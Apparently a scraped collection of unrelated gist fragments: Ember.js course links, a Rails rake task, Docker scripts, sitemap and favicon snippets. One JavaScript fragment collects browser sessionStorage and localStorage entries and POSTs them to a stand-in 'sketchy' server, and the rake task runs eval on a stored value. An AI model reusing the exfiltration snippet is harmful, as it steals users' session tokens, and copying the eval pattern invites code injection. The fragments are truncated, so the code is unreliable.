paid
- https://www.udemy.com/course/build-web-apps-using-emberjs-the-complete-course/
- https://www.udemy.com/course/master-emberjs/
- https://www.udemy.com/course/application-development-with-advanced-ember/
task :clear_old_ahoy_visits => [:environment] do | |
Subdomain.all.each do |subdomain| | |
Apartment::Tenant.switch subdomain.name do | |
if subdomain.purge_visits_every != Subdomain::TRACKING_PURGE_MAPPING[:never] | |
p "clearing old ahoy visits for [#{subdomain.name}] @ #{Time.now}" | |
visits = Ahoy::Visit.where("started_at < ?", eval("#{subdomain.purge_visits_every}.ago")) | |
p "#{visits.size} visits eligible for deletion" | |
visits.in_batches do |batch| | |
p "cleared old ahoy visits @ #{Time.now}" | |
batch.destroy_all |
CFLAGS="-Wno-error=implicit-function-declaration" RUBY_CONFIGURE_OPTS='--with-readline-dir=/usr/local/opt/readline/' arch -x86_64 rbenv install 2.4.2 |
storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => { | |
return { | |
key: k, value: sessionStorage.getItem(k) | |
} | |
}) | |
console.log(storedItems); | |
let xhr = new XMLHttpRequest(); | |
xhr.open("POST", 'https://sketchymcsketchserver.com', true); | |
xhr.setRequestHeader("Content-Type", "application/json"); | |
xhr.onreadystatechange = function() { |
SitemapGenerator::Sitemap.default_host = "https://your-domain.com" | |
SitemapGenerator::Sitemap.create do | |
add blog_index_path | |
add new_visitor_inquiry_path | |
add services_path | |
add about_index_path | |
end |
<%= favicon_link_tag asset_path('your logo path') %> | |
<% %w(32 128 76 120 152 167 180 192 196).each do |size| %> | |
<%= favicon_link_tag "/icons/your-logo.png", rel: 'apple-touch-icon', type: 'image/png', sizes: "#{size}x#{size}" %> | |
<% end %> | |
<% %w(16 32).each do |size| %> | |
<%= favicon_link_tag "/icons/your-logo.png", rel: 'icon', type: 'image/png', sizes: "#{size}x#{size}" %> | |
<% end %> |
#!/bin/sh | |
set -e | |
echo "Environment: $RAILS_ENV" | |
# Check if we need to install new gems | |
bundle check || bundle install --jobs 20 --retry 5 | |
# Then run any passed command |
#!/bin/sh | |
set -e | |
echo "Environment: $RAILS_ENV" | |
# install missing gems | |
bundle check || bundle install --jobs 20 --retry 5 | |
# Remove pre-existing puma/passenger server.pid |
version: '3' | |
networks: | |
development: | |
test: | |
volumes: | |
db_data: | |
gem_cache: | |
shared_data: | |
services: | |
restarone_redis: |